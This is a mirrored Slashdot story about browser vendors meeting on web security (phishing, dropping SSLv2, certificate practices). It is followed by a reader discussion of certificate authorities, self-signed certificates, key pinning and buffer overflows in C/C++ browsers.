Slashdot Mirror


Web Browser Developers Work Together on Security

JRiddell writes "Security developers for the four major browsers recently met together to discuss Web security. The meeting, hosted by Konqueror's George Staikos, looked at future plans to combat the security risks posed by phishing, ageing encryption ciphers and inconsistent SSL Certificate practise. IE 7 is one of the first browsers to implement some of the ideas discussed such as colour coding location bars and an anti-phishing database." From the article: "The first topic and the easiest to agree upon is the weakening state of current crypto standards. With the availability of bot nets and massively distributed computing, current encryption standards are showing their age. Prompted by Opera, we are moving towards the removal of SSLv2 from our browsers. IE will disable SSLv2 in version 7 and it has been completely removed in the KDE 4 source tree already."

203 comments

  1. Suggestion by 5,+Troll · · Score: 1, Troll

    These improvements sound good. But can I make a further suggestion?

    Like many people, I have a few sites that I want complete assurance about, such as my personal banking sites. I don't want to simply trust a third-part CA to vet them, even if it is capable of providing high-assurance. As well as concerns about the business model for that CA, it still will sign a very large number of web-site certificates. If any of those web sites were compromised or the CA was tricked into signing a certificate, it opens an opportunity for the browser to say "highly trusted" when it isn't - and may even be a different web site if DNS could be compromised. And I expect it would take a long time, if possible at all, to persuade all sites to get the signed by one of the "blessed" CAs.

    I much prefer the model used by the Petnames extension of Firefox (http://www.waterken.com/user/PetnameTool/), which allows me to register the server digital certificate thumbprint, and to give the site a nick-name ("My bank"). If the certificate changes in any way, I'll get warned and can do the appropriate checks. Effectively I'm managing my own white-list of a handful of sites, so don't need to trust someone else's whitelist of tens of thousands; or even worse a blacklist of far more.

    This can co-exist with the proposals above; for example by allowing the user to store their trust relationship which then displays (say) a blue address bar. Other sites will go through the green / red / white display.

    --
    Please mod me only (+) Underrated or (-) Troll
    1. Re:Suggestion by LostCluster · · Score: 5, Insightful

      The problem with your self-made whitelist situation is that you have no way to authenticate your bank's website the first time. Just because you're sure you've got the URL right is no proof that you don't have a rouge DNS entry or router somewhere between you and your bank. If you can get fooled into adding a spoof site to your list, your whole theory colapses.

    2. Re:Suggestion by Anonymous Coward · · Score: 0

      Yeah, a third-party, not regression-tested extension is more secure than IE. Very probable.

      Ass. Fucking fanboy.

    3. Re:Suggestion by timeOday · · Score: 1

      Wouldn't your browser warn you currently if your bank's certificate changed? I though CA's were only for initial key exchange, am I wrong?

    4. Re:Suggestion by fossa · · Score: 1

      So go to the bank (or phone them if you trust that) and request a copy of the fingerprint. I'm sure you'll get blank stares, but banks seem to be somewhat aware of security, so maybe it will catch on.

    5. Re:Suggestion by Craig+Davison · · Score: 5, Informative

      I don't think you understand the assurance a certificate gives you. You don't need to be worried about being tricked or DNS being compromised because that's exactly what a cert protects you against. Look for the following two things:
      A. Is the domain name on the address bar the one you want? (example: citibank.com)
      B. Did the page come up without any errors from the web browser?

      If your DNS server was compromised, B will not be true. If you're taken to some site that may or may not have been issued a valid cert by Verisign, but is definitely NOT citibank.com, A will not be true.

      If A and B are true, you have successfully connected to citibank.com over an encrypted channel, end of story. Whether you want to trust the company on the other end is totally up to you, but now you know for sure who you're dealing with.

    6. Re:Suggestion by fossa · · Score: 1

      I'm not sure if the browser would warn you if it changed (to a different cert still signed by a CA), but it certainly won't warn you if your first visit to the site you get a spoofed cert...

    7. Re:Suggestion by Bogtha · · Score: 1

      Yes, but what's the betting that when you finally get somebody on the other end of the phone that has the remotest idea of what you are talking about, they simply load up the website and check the fingerprint in their browser?

      --
      Bogtha Bogtha Bogtha
    8. Re:Suggestion by Anonymous Coward · · Score: 2, Informative

      If A and B are true, you have successfully connected to citibank.com over an encrypted channel, end of story.

      Not quite. If A and B are true, you have successfully connected to a computer claiming to be citibank's website at citibank.com using a certificate issued by someone to "prove" it. Of course, https://web.da-us.citibank.com/ (the site I get when I hit login) has a certificate issued by VeriSign, and we know how well they verify the identify of people requesting certificates.

    9. Re:Suggestion by nagora · · Score: 1
      You don't need to be worried about being tricked or DNS being compromised because that's exactly what a cert protects you against.

      Not in the real world it doesn't. If the issuing company is, for example, full of mindless drones who are paid to issue certificates as quickly as possible, then they will - and do - occasionally issue the wrong certificate. IE, they will give Joe Bloggs a certificate saying that he is Citibank.

      Certificates do nothing to fix human error at the issuer end and even leaving that aside, I don't trust Verisign any more than I would Richard Nixon.

      The only certificates I'm interested is ones which I am sure were generated by the site themselves, not some junk handed out by Verisign to whoever faxed them a copy of something that looked vaguely like the company letterhead they were expecting.

      Verisign reliability bulletin from one of their customers.

      TWW

      --
      "Encyclopedia" is to "Wikipedia" what "Library" is to "Some people at a bus stop"
    10. Re:Suggestion by baadger · · Score: 1

      Yeah so a router between me and my bank or the banks DNS records may have have been comprimised, so I decide to give the bank a bell to request the fingerprint, so in the modern age that is 2005 I fire up my VoIP client and... oh wait.

    11. Re:Suggestion by aprilsound · · Score: 1
      IE 7 is one of the first browsers to implement some of the ideas discussed such as colour coding location bars
      Um... hasn't Firefox pretty much ALWAYS made the address bar yellow for secure connections? I realize that TFA mentioned more colors but really, how does a yet-to-be-released IE7 get first place on that one? Just because they can make it red too?
    12. Re:Suggestion by Craig+Davison · · Score: 1

      You're missing the point. I'll say it again: if my location bar says citibank.com and the cert is valid, I'm connecting to citibank.com.

      What you're describing would involve a third party obtaining a cert with a CN of citibank.com. For all their faults, Verisign would not issue a cert with the same CN to two different organizations.

      Now, if Verisign issued a cert to some scammer with a company with the same organization name "CitiBank" with the CN citi-bank.com and citlbank.com, or whatever, that's a different problem entirely. That's why you need to look at both the domain name and the validity of the cert. The KB article you linked to talked about a cert for "Microsoft Corporation". Maybe that breaks their shitty code signing because they're relying on the user to read the organization name, but it would not break HTTPS.

    13. Re:Suggestion by Craig+Davison · · Score: 2, Insightful

      The organization name is not important to HTTPS because it never gets compared against anything. If Verisign issued another cert with a CN of citibank.com to another company, then yeah, the system has broken down.
      If you get a self-issued cert, how do you know it's the right cert? Do they mail it to you pgp-encrypted? Read the fingerprint over the phone?

    14. Re:Suggestion by naasking · · Score: 1

      The problem with your self-made whitelist situation is that you have no way to authenticate your bank's website the first time.

      You have just as much assurance on the first load as you do with the current system with a CA-issued cert. The critical difference, is that thenceforth you have perfect assurance with Petnames that you are dealing with the same entity as you were originally. You don't have that guarantee with CAs.

    15. Re:Suggestion by rainman_bc · · Score: 1

      lol I was at the bank today, and the words "scroll up" left the bank lady with a blank gaze. I responded with "roll the wheel on your mouse up". Again, blank gaze. I grabbed the damn mouse and scrolled it up myself for her.

      A copy of the fingerprint lol??? good luck on that one :)

      --
      09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    16. Re:Suggestion by rainman_bc · · Score: 2, Insightful

      These problems can also occur in real life. People who create false fronts for bank machines.

      You know you are at the bank machine at the right location, so you trust that it's correct and isn't going to screw you, when in fact, you just passed your card through a card reader, and there's a camera watching you type in your PIN.

      IMO, it's a real life phishing attack. The security implications are almost identical.

      --
      09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    17. Re:Suggestion by msh104 · · Score: 1

      perhaps that is why it reads: "one of the first" and not "the first"
      I admit that is marketing talk but who can blame them, they want people to believe in there product. :)

  2. Don't use self-signed certs. by LostCluster · · Score: 4, Interesting

    I've seen several site operators let their sites sit with SSL warning boxes because they insist on using a self-issued SSL certificate instead of paying for a major brand name label.

    Most of the time, this isn't exposed to customers, but employees of the organization are trained to ignore the "This certificate was not issued by a trusted authority," warnings, and I fear such people will take away that that box with all of its technobabble is one they should ignore at all times. That box is a last line of defense against an encrypted connection that isn't trustworthy... and I think this is a step forward to the point where browsers will refuse to give SSL encryption without SSL authentication succeeding.

    1. Re:Don't use self-signed certs. by smclean · · Score: 4, Insightful

      What would be nice, is to see browsers handle this the same way SSH does with host key checking; when you first connect to the site, you get the pop-up about the self-signed certificate, and you accept it permanently. Then you connect to what you think is the site the next day, but instead of the real site you get a malicious impersonator of the site, and its cert is different. Rather than getting a new pop-up about the new self-signed cert that looks identical to the pop-up of the old one, there should be a warning that the cert had unexpectedly changed, in a similar panic fashion to SSH's output when the host key changes, so it really gets some attention.

      --

      "'Yrch!' said Legolas, falling into his own tongue."

    2. Re:Don't use self-signed certs. by LostCluster · · Score: 2, Interesting

      But how do you know that you didn't get the hacker site on day 1 and the real site on day 2? Without some authentication protocol being followed, you're not secure. Sure, there's no way you're being intercepted when you're talking to the site, but you don't know what's on the other end of the line.

    3. Re: Don't use self-signed certs. by JesseMcDonald · · Score: 1

      The organization really should add their certificate to the accepted list of certificates in their standard system image. That way their employees wouldn't be forced to endure the constant interruptions generated by their self-signed certificate. However, for an in-house site, it's probably overkill to buy an e-commerce SSL certificate from e.g. Verisign, which can cost hundreds of dollars per year to maintain.

      --
      "The state is that great fiction by which everyone tries to live at the expense of everyone else." - Bastiat
    4. Re:Don't use self-signed certs. by Jerry+Coffin · · Score: 1
      Most of the time, this isn't exposed to customers, but employees of the organization are trained to ignore the "This certificate was not issued by a trusted authority," warnings, and I fear such people will take away that that box with all of its technobabble is one they should ignore at all times. That box is a last line of defense against an encrypted connection that isn't trustworthy...

      Self-signed certs aren't the problem, and you shouldn't train users to ignore warning boxes either. If you're going to set up your own CA, you should plan on also adding your root CA to the list of CAs trusted by the client machines that will normally be used with it. Your users will get warnings when the should, but not when they shouldn't, and you don't have to pay an external authority to make it happen.

      Personally, I'd almost tend toward saying the opposite: quite a few people would really be better off taking Verisign (etc.) off of their list of trusted CAs, and only add the root CAs they really do trust. I certainly trust my self-signed certificates more than I trust theirs.

      Getting back to the original subject, maybe the browsers could support this as well: allow me to specify how much I trust a particular root CA, and have the coloring in the address bar (for example) reflect this -- my own would give bright green, and the commercial ones in a paler green to reflect a lower level of trust.

      --
      The universe is a figment of its own imagination.

      --
      The universe is a figment of its own imagination.
    5. Re:Don't use self-signed certs. by smclean · · Score: 3, Insightful
      True, but I'm not trying to say that using self-signed certs offers security to compare to certs signed by real CAs. I'm just pointing out that the behavoir of the self-signed cert popups in browsers is lacking, and could learn from SSH.

      Self-signed certificates can be very useful for a situation where you want *more* security than plain unencrypted HTTP, but don't want to pay money for it. If you wanted to have SSL encryption on a LAN, but the server's hostname is not a real hostname on the internet, I don't think you even *could* get a real CA-signed cert for it. Self-signed certs fill a real void when it's not possible to simply use real CA-signed certs. We can't just ignore that.

      --

      "'Yrch!' said Legolas, falling into his own tongue."

    6. Re:Don't use self-signed certs. by ajs · · Score: 5, Insightful

      The conflation of authentication and encryption is the bane of SSL and all SSL-based applications. The two really should be separate. Encryption buys you a certain set of guarantees and leaves you with a certain set of exposures that you already had.

      In those cases where that is sufficient, the introduction of authentication only muddies the overall value and importance of clean authentication. For example, I use TLS for SMTP mail delivery, but with a self-signed cert. This is because I don't particularly care about being intercepted, only that the casual sniffer of traffic between us will get nothing. For anything more sensitive, I don't trust SMTP anyway, no matter how encrypted and authenticated it might be.

      The same goes for LDAP. I tried to set up LDAP between my home and work for the purpose of sharing some contact info. I wanted to encrypt and filter traffic so that only I could access it, but didn't really care about it so strongly that I was willing to buy a cert. However, I still had to hack the client to accept the self-signed cert. Why? What possible value to the user (me) is there in that?

    7. Re:Don't use self-signed certs. by pthisis · · Score: 2, Interesting

      The same way you do with SSH or PGP. You verify the fingerprint, which you received by some other channel secure enough for your purposes. That could be simply over the phone from someone whose CallerID and voice you recognize or could be a trusted courier with a locked case. It could even be IM if you're just testing how to set up SSL certs and don't really care if this one is secure or not since you're going to wipe it for a real one later.

      People have been doing it for years.

      It's not a good general purpose solution for the uneducated, but forcing people who know what they're doing to outsource key management is equally poor. Ideally the browser messages would be along the lines of SSH.

      1. Warn you when the key is unknown and ask you to verify the fingerprint. Perhaps require you to enter the print (type it in) to use a self-signed key.
      2. Refuse to connect if the key has changed.

      Other scenarios (expired key, etc) require some thought and local policy decisions.

      --
      rage, rage against the dying of the light
    8. Re: Don't use self-signed certs. by LostCluster · · Score: 1

      The problem comes when this is a site exposed to the Internet for employees to check their e-mail. Can't force a system image onto home machines.

    9. Re:Don't use self-signed certs. by Directrix1 · · Score: 1

      How many SSL certificates have you obtained? They are almost worthless as a real means of authentication. Give me access to a webmaster's computer for 5 minutes while he's out on break, and I can have a certificate for his domain in my control and be out the door. Authentication is laughable if the companies that are supposed to be the insurers of authentication do not fully authenticate the identity for themselves. That little padlock only means party C (the CA) tells party A (joe dumbass) that party B (the site) is who it says it is. What dooes party A know about party C though? Probably next to nothing. What do you know about their verification policies, without digging through page after page of documentation on their site? Zilch, even if you looked up you are going off good faith that those processes really are the processes that they go through (and isn't the whole point of these certificates to avoid the "good faith" situation). Is this site really authenticated? Nope. My point is the current infrastructure is insufficient to provide true authentication to the layman. So, besides making rich people more rich, what is the point in disabling sites that do not have a third party issued certificates? Of course, maybe I'm just mad that you're supposed to buy this crap once a year for a very high fee when it takes like 20 seconds to regenerate one of these things. The initial fee is understandable if they actually verify to some real extent the identity, but after that its just a money grubbing joke.

      --
      Occam's razor is the blind faith in the natural selection of least resistance and in universal oversimplification. -- EF
    10. Re:Don't use self-signed certs. by KrispyKringle · · Score: 1

      Er, you can do that in most browsers. In OSX, you can add the certificate to your Keychain to avoid being prompted about it in Safari or Mail; in Firefox, can't you hit "don't warn me again"?

      Certainly, it's just a component of the browser, and some support this feature already.

    11. Re:Don't use self-signed certs. by KrispyKringle · · Score: 1

      I think currently this is simply a non-issue. I'm certainly not an expert, but I've never heard of a root certificate compromise being used, in the wild, for phishing attacks.

      And for good reason; it's simply not necessary. Users don't notice if the site has SSL or if it's at the wrong URL; why bother with faking a SSL cert and poisoning a DNS cache when you can just get one for russianhacker.com and send spam telling people to visit you at that site?

    12. Re:Don't use self-signed certs. by size1one · · Score: 1
      "Of course, maybe I'm just mad that you're supposed to buy this crap once a year for a very high fee when it takes like 20 seconds to regenerate one of these things. The initial fee is understandable if they actually verify to some real extent the identity, but after that its just a money grubbing joke."

      You hit it right on the head. Certificate signing is a racket for making easy money. It is a racket because instead of the fee being used to provide security they just mislead the public with a false sense of it.

      IMO businesses should not be made out of services that exist to protect the public. The main goal of all businesses is to make money. Only when profits and greed are removed can the goal switch to protecting the public.

    13. Re:Don't use self-signed certs. by glesga_kiss · · Score: 1
      and I think this is a step forward to the point where browsers will refuse to give SSL encryption without SSL authentication succeeding.

      That would be bad. My people run home webservers for their own personal use. Using authentication is neccessary if, like me, you have a large mp3 collection on the web. If you use authentication, then you really ought to use encryption. I've looked into getting a proper cert, but it's extremely expensive and a recurring fee. It's just not worth it. A lot of people use SSL for different things without needing to get a certificate from one of the trust authorities.

    14. Re:Don't use self-signed certs. by spinfire · · Score: 1

      Unfortunately for those of us who aren't large corporations, it remains very difficult or expensive to get a non-self-signed certificate. I run a personal free hosting service for friends and family and even the cheap SSL certs are just another expense on top of the cost of colocation, maintainence and bandwidth. Obviously my users can't complain for the price they pay but it would sure be nice to have a "real" certificate.

      CACert is a start, but unfortunately at this point in time no browsers include their root CA by default. If and when this does happen, it will be a very valuable resource for hobbyists and personal/FOAF level servers. I'd like to set up CACert signed certificates, but until then it remains largely a joke for anyone who isn't already a capable of importing a root CA.

    15. Re: Don't use self-signed certs. by Anonymous Coward · · Score: 0

      Ok forget certs for a second.

      YOU SHOULD NEVER OPEN AN INTERNAL SERVER FOR EXTERNAL USE.

      so guess what internal has self-signed, external has root CA signed.

    16. Re:Don't use self-signed certs. by fbjon · · Score: 1

      It's not just about outsourcing key management, it's about trust. If you trust the root server, then you can trust anything signed by them. If the key isn't signed, it could be anyone doing location bar trickery and man-in-the-middle whatnot.

      --
      True confidence comes not from realising you are as good as your peers, but that your peers are as bad as you are.
    17. Re:Don't use self-signed certs. by smclean · · Score: 1

      But the point is that, in firefox at least, you are not warned if the certificate in question has changed. Instead you are merely presented with the new certificate. I was pointing out that SSH actually throws up a giant warning and prevents you from connecting to a site if their host key has changed, and that it would be nice if firefox would show some kind of warning that the cert has actually changed from a previously recognized cert, rather than just telling you that a new unrecognized cert was encountered.

      --

      "'Yrch!' said Legolas, falling into his own tongue."

    18. Re:Don't use self-signed certs. by jsight · · Score: 1

      At least in Firefox it is possible to accept the cert permanently. And it does come with a fingerprint of the cert which could be verified by another secure method.

      I'm not sure how this is worse than SSH.

    19. Re:Don't use self-signed certs. by landonf · · Score: 1

      Disabling certificate validation is silly. There is no reason to do it.

      Running your own, small-scale Certificate Authority takes about 10 minutes of your time and is vastly more secure than bypassing certificate validation. There's no need to pay anyone, you simply ensure that your clients have your CA certificate installed.

      TinyCA is very easy to use.

      --
      http://plausible.coop
    20. Re:Don't use self-signed certs. by BitterOak · · Score: 2, Insightful
      The conflation of authentication and encryption is the bane of SSL and all SSL-based applications. The two really should be separate.

      The problem is that encryption without authentication is really not secure as you'd be vulnerable to a man in the middle attack. Even in the examples you described, a man in the middle could present you with a self-signed certificate, and if you just click "yes" to accept a self-signed cert all the time, you possibly wouldn't notice, unless you routinely check the key fingerprints, which most people don't do.

      --
      If I can be modded down for being a troll, can I be modded up for being an orc, or a balrog?
    21. Re:Don't use self-signed certs. by quanticle · · Score: 1

      Give me access to a webmaster's computer for 5 minutes while he's out on break, and I can have a certificate for his domain in my control and be out the door.

      This entire conversation presumes the presence of enough physical security to make this sort of activity impractical. Personally, I wouldn't trust a sysadmin who left his/her desk for more than 30 seconds without locking his/her workstation.

      As has been posted many times before, there can be no electronic security without physical security.

      --
      We all know what to do, but we don't know how to get re-elected once we have done it
    22. Re:Don't use self-signed certs. by Directrix1 · · Score: 1

      I agree about the locking the computer part, and I wasn't even talking about physical access to any server. But in "the real world", aka where I work, there are employees with very high levels of access (namely the system administrator) that doesn't even have a screen saver password. Of course both my windows and linux workstations have password protected screen savers, and I habitually lock my computers before I even step away to get a drink. But we both know that there are a lot out there who don't do this. Additionally, I had another point being that the whole idea of third party trust really grants no more security than just trusting you're connecting to the right site to begin with. Just follow my previously stated points to see where I was going with that.

      --
      Occam's razor is the blind faith in the natural selection of least resistance and in universal oversimplification. -- EF
    23. Re:Don't use self-signed certs. by quanticle · · Score: 1

      I wish it weren't so, but you're right. Even worse is the fact that you often have no idea if the site you're connecting to practices good physical security that would protect you from someone walking onto their premises and stealing their credentials to pull off a man in the middle attack.

      --
      We all know what to do, but we don't know how to get re-elected once we have done it
    24. Re:Don't use self-signed certs. by keytoe · · Score: 1

      I agree completely. Consider how many transactions happen over the internet with a web site you don't know at all:

      1. You search for Product A - Google returns several relevant companies that sell Product A.
      2. You browse through each of those companies, comparison shopping.
      3. You decide to purchase from Company G (for whatever reason - you may or may not have heard of them).
      4. You notice a little lock icon and feel secure in your knowledge that your transaction is 'secure'.

      Note that the purpose of a certificate is to guarantee that the site you are visiting belongs to the domain that you are at as well as to encrypt the connection. The encryption keeps prying eyes out - which is a great feature.

      The identity verification is completely useless in this case, though. You gain no additional safety or security if Verisign says that companyg.com belongs to Company G. For all you know, Company G is a front set up by an international ring of criminals - with a secure certificate signed by Verisign. All that proves is that they're willing to invest about $500 to prime the pump.

      In the meantime, small businesses and personal domain holders can't afford this type of 'security'. Instead, they must resort to generating self-signed certificates just to get an encrypted channel.

      The only one who wins in this case is Verisign.

    25. Re:Don't use self-signed certs. by pthisis · · Score: 1

      If you trust the root server, then you can trust anything signed by them

      Not necessarily (see GPG webs of trust). But sure, if I trust a root server as an introducer then I trust anything they sign.

      That still doesn't change the fact that if even if I trust (say) Verisign, I have to pay them to sign a cert for me. Whereas I can trust myself, sign my certs for internal use for free, and verify fingerprints as I connect. Even for some semipublic applications it could be a reasonable course of action to distribute a fingerprint through a secure channel rather than rely on a third party introducer (of course, this is only true if your target audience is quite savvy, and for general-purpose public sites it's absolutely the wrong thing to do).

      It also doesn't help if I have a very sensitive application I might _not_ trust anyone but me.

      And it also doesn't help me if all the trusted authorities refuse to sign a key for me--incredibly unlikely today, but potentially plausible down the line (say for a site strongly critical of the core Cert Authorities, or politically outspoken, or strongly religious, or whatever).

      You really do need both, and eliminating self-signed certs (which is what I was objecting to) would be a very bad thing.

      Imagine if you needed to go to a central authority to get ssh keys for every server you have in your office, and pay them $50 a year for each one. Why should you have to do that with http if you're willing to do careful key management in-house? Having a secure http server with a different key on every desktop is certainly a plausible scenario for some things (remote admin or whatever). Being able to connect to those machines from others that don't have a pre-installed trust relationship with a particular CA is also plausible (say, an admin who is on vacation needing to do some work from his parent's machine, who could list a few critical http fingerprints in his wallet alongside ssh/pgp prints).

      --
      rage, rage against the dying of the light
    26. Re:Don't use self-signed certs. by pthisis · · Score: 1

      If the key isn't signed, it could be anyone doing location bar trickery and man-in-the-middle whatnot.

      Also, this is impossible in the scenario I outlined unless the attacker can create valid keys matching your fingerprints (in which case your cryptographic hash function is inadequate and there are likely to be much more effective attacks at his disposal independent of whether you're using keys signed by a CA or not).

      --
      rage, rage against the dying of the light
    27. Re:Don't use self-signed certs. by Lehk228 · · Score: 1

      i am certain firefox did do that last time i visited a self-signed site.

      --
      Snowden and Manning are heroes.
    28. Re:Don't use self-signed certs. by fbjon · · Score: 1

      As I understand it, it should actually be possible to do it in-house, simply by including your own root cert in every machine and workstation deployed, thus making them trust your own stuff. What is not possible is to expect any random user on the 'net to trust any random root authority, that is not good security. Unless of course, the user can get the cert, or it's fingerprint by other means, but that's a fairly uncommon situation.

      --
      True confidence comes not from realising you are as good as your peers, but that your peers are as bad as you are.
    29. Re:Don't use self-signed certs. by Anonymous Coward · · Score: 0
      If you use authentication, then you really ought to use encryption.

      If you use basic HTTP authentication and not digest HTTP authentication, you mean? Digest authentication has been around for years, and is pretty resistant to replay attacks.

      Or do you have some home-grown "authentication cookie" scheme?

      For authentication over SSL, client certificates were supposed to be The Right Thing. Too bad that the most popular browser, the most popular operating system, the hardware they run on and the users using them make software client certificates a dangerous proposition!

    30. Re:Don't use self-signed certs. by MoogMan · · Score: 1

      I'm not willing to pay a stupid amount of money for a certificate signed by a commercial company. Call me paranoid, but who knows if this "certified company" is really trustworthy. It's that "web of trust" thing again...

    31. Re:Don't use self-signed certs. by Nurgled · · Score: 1

      It seems to me that the right approach here would be to add your self-signed root certificate as a trusted root on all of the systems on your LAN. Sure, this means that you need to do some per-machine configuration, but at least then you know that from the outset everyone is talking to the right server and so if a warning message appears it really is worth paying attention to.

    32. Re:Don't use self-signed certs. by petermgreen · · Score: 1

      i think firefox has that already

      iirc it gives 3 options

      1: don't connect
      2: accept cert for this session only
      3: accept cert permanently

      --
      note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
    33. Re:Don't use self-signed certs. by micheas · · Score: 1

      This may be snide, but why not make your own CA, and issue your own cert.

      It is definately the easiest way if you have a dozen clients.

      There are many howto's around on setting up your own CA. If you publish your CA cert semi-widely, then you can even sign friends certs.

      This also allows you to sign IMAPS, webmin, ssl, ssh, and many other commonly used keys. If you are in the windows world, you can even sign your apps, so that windows, stops complaining about them.

    34. Re:Don't use self-signed certs. by Blacksage · · Score: 1

      Hey,

      Regarding what you suggest, isn't this already implemented in browsers ?? (or have I misunderstood).

      I use firefox currently, and a quick search using google images, reveals the "Website Certified by an Unknown Authority" screen:

      http://www.physics.ub.ca/computer/email/mozilla-ss l/mozilla_email_02.png

      Doesn't the behavior of the "Accept this certificate permanently" option do what you ask?

    35. Re:Don't use self-signed certs. by ajs · · Score: 1

      "The problem is that encryption without authentication is really not secure as you'd be vulnerable to a man in the middle attack."

      I assumed this was an understood element of the premise of my comments, but there are times (such as those that I mentioned) where you don't particularly care about that sort of scenario because either authentication is provided by an external element or because security concerns which render authentication unreliable exist anyway.

      In those circumstances, doing needless authentication actually hurts security, since failures will be regarded as "noise", training users to ignore otherwise critical security.

      If authentication were only done when and where it mattered most, it would be taken much more seriously, and would thus be far more reliable universally.

      Encrypting traffic routinely, however, is something that, IMHO, should always happen unless you're transmitting data which is so bandwidth sensitive that the overhead of encryption would be prohibitive (this is rarely the case, but some sorts of streaming media would be impacted).

    36. Re:Don't use self-signed certs. by pthisis · · Score: 1

      As I understand it, it should actually be possible to do it in-house, simply by including your own root cert in every machine and workstation deployed, thus making them trust your own stuff.


      That works okay in some situations, but there are reasonable scenarios that I outlined in my post which it won't help with.

      Being able to connect to those machines from others that don't have a pre-installed trust relationship with a particular CA is also plausible (say, an admin who is on vacation needing to do some work from his parent's machine, who could list a few critical http fingerprints in his wallet alongside ssh/pgp prints).

      The current situation is vastly preferrable to one where unknown certs are rejected.
      --
      rage, rage against the dying of the light
  3. Competition by I_Strahd · · Score: 0

    Competition has raised the standards of what we expect out of a browser. Collaboration is a great idea especially if I can submit private information without be paranoid. I worry that one day the browser market will be monopolized again, and I will have to use something that is about as safe as letting a toddler play with a cheese grater.

  4. Best phishing protection: by Horas · · Score: 1

    Just remove forms! Voila!

    1. Re:Best phishing protection: by Anonymous Coward · · Score: 0

      Probably wouldn't work, although it could make it harder. There is increasing use of phishing trojans that install screen movie grabbers, since banks started using combobox forms to defeat keyloggers. Such trojans would also be able to compromise non-form authentication such as mouse gestures over an applet or whatever.

  5. SSLv2? by goofyheadedpunk · · Score: 2

    Would someone mind explaining the removal/disabling of SSLv2? More importantly, what's slated to be used in place of it?

    --

    What if the entire Universe were a chrooted environment with everything symlinked from the host?
    1. Re:SSLv2? by smclean · · Score: 4, Informative
      --

      "'Yrch!' said Legolas, falling into his own tongue."

    2. Re:SSLv2? by capmblade · · Score: 2, Informative

      SSL2 has some serious security defects, including the inability to detect man-in-the-middle attacks against its handshake. TLS is the replacement.

    3. Re:SSLv2? by Kelson · · Score: 1

      SSL v.2 is old, flawed, and IIRC already deprecated. The major browsers and certificate authorities have been using TLS (essentially SSL v.3) for years now, so dropping support for SSL v.2 is kind of like dropping support for Windows 3.1: not likely to cause many problems.

    4. Re:SSLv2? by Guy+Harris · · Score: 1
      SSLv3, of course.

      http://wp.netscape.com/eng/ssl3/ssl-toc.html

      Or the later draft-freier-ssl-version3-02

      Those drafts, and more stuff, is linked to from the Netscape SSLv3 page.

      There's also RFC 2256 for TLS 1.0.

  6. Replacement. by jimmyhat3939 · · Score: 5, Informative

    In case anyone's curious, here is a description of the problems with SSLv2, including some info about the newer v3 stuff.

    --
    Free Conference Call -- No Spam, High Quality
  7. You know what would really help... by Godeke · · Score: 3, Interesting

    Stop coding in C/C++ when the product will be exposed to external, uncontrolled inputs. Java, .NET, Parrot... I don't really care what gets used, but it has been clear that despite the constant "C++ using the proper string libraries is as secure as virtual machines and interpreters" cries that those who actually wield the language to make products like browsers are still failing to secure against the most basic and common flaw: the buffer overflow. Browsing web pages is *not* the kind of thing that requires "bare to the metal" coding. Yes, such a browser might be vulnerable to attacks on the virtual machine itself... but a quick look at the browsers security history verses virtual machine security histories makes it clear that is a tradeoff worth making.

    --
    Sig under construction since 1998.
    1. Re:You know what would really help... by yabos · · Score: 1

      With the NX bit on modern CPUs this becomes less of a problem as you can't execute code from overflowed buffers.

    2. Re:You know what would really help... by KiltedKnight · · Score: 3, Insightful
      Yes, such a browser might be vulnerable to attacks on the virtual machine itself... but a quick look at the browsers security history verses virtual machine security histories makes it clear that is a tradeoff worth making.

      Actually, the trade-off you'll be making is more like execution speed and resource usage for apparent safety in terms of lack of buffer overflows.

      This is not a good trade-off to make. Experienced programmers working with C and C++ will know of the buffer overflow issues, especially if they've been bitten by it before. A similar one is failure to null out a string before using it, risking problems when the string you want to put in the variable is not null-terminated.

      Basically, if you remember to do a few simple things (fgets() instead of gets(), strncpy() instead of strcpy(), memset(), just to name a few), you can actually avoid a lot of these issues. Make these things habits, and it will not become an issue.

      --
      OCO is Loco
    3. Re:You know what would really help... by Anonymous Coward · · Score: 1, Informative

      Just blindly replacing strcpy() with strncpy() is bad. strncpy() will not necessarily null terminate the target, which of course means that you won't necessarily have a string. If you do use strncpy(), make absolutely certain that one way or another you terminate the string. It might be better to steal strlcpy() and strlcat() from OpenBSD and use them in your project.

    4. Re:You know what would really help... by maxwell+demon · · Score: 2, Insightful

      There is in general no reason to use C strings at all in C++, except where legacy interfaces demand them. Use std::string instead.

      --
      The Tao of math: The numbers you can count are not the real numbers.
    5. Re:You know what would really help... by Godeke · · Score: 3, Insightful
      This is not a good trade-off to make. Experienced programmers working with C and C++ will know of the buffer overflow issues, especially if they've been bitten by it before. A similar one is failure to null out a string before using it, risking problems when the string you want to put in the variable is not null-terminated.


      Any explanation as to *why* this isn't actually being done then? Because, as I stated, people keep *saying* this as if repeating it makes it true. Yet the reality in the field is that buffer overflows from C/C++ code is the number one source of security flaws. This claim is like saying that "people would die of fewer heart attacks if they would eat healthy foods". Um, yeah... sadly not many actually eat healthy. Clearly, not many "experienced programmers" are putting your advice to practice either. So I will take code bloat and speed hits for the sake of not being a subscriber to the buffer overflow of the month club.
      --
      Sig under construction since 1998.
    6. Re:You know what would really help... by Lost+Found · · Score: 1

      Suit yourself. Perhaps you'd also like to roll around town in a deluxe bubble in case you might catch an illness.

      Jesus christ you people irritate me.

    7. Re:You know what would really help... by cnettel · · Score: 4, Insightful
      We have to observe a few things:

      1. There is a huge "backlog" of sloppy coding that is either exposed through changes in higher layers, or simply not discovered until now.

      2. Many of the web browser vulnerabilities lately (and historically, in IE especially) have not been related to overflowing a buffer. They have more been along the lines of fooling the browser or the user of it that you are in a different security context than you really are. That is possible to do in any language. It just takes a single instance of a piece of code doing something "on behalf of" something with a lower security privilege, like just about anything done in a browser. There are techniques for sandboxing and walling this in, but enforcing something like the logic for when to allow scripting/DOM access between frames in a web browser is not something very well suited to the Java (or .NET, for that matter) security model. You simply have to do the hard work and do it right.

      So, in the specific space of browsers, I think that the issue of the language used is not very relevant. What IS relevant is to use a sound design, where the security decisions are made by some components, not all over the place. Componentization, no matter if it's done by XUL/Javascript or by encapsulation into COM/ActiveX are both examples of this. In practice, the execution of the previous have been better than the latter.

      Another point would be that moving towards Java or some other VM with interoperability issues, at least when you get into directly calling other code in-process, will force you to rewrite bad C/C++ code. I don't know if that's a bug or a feature. It would rule out buffer overflows, but it would also mean a gigantic, untested, new code base.

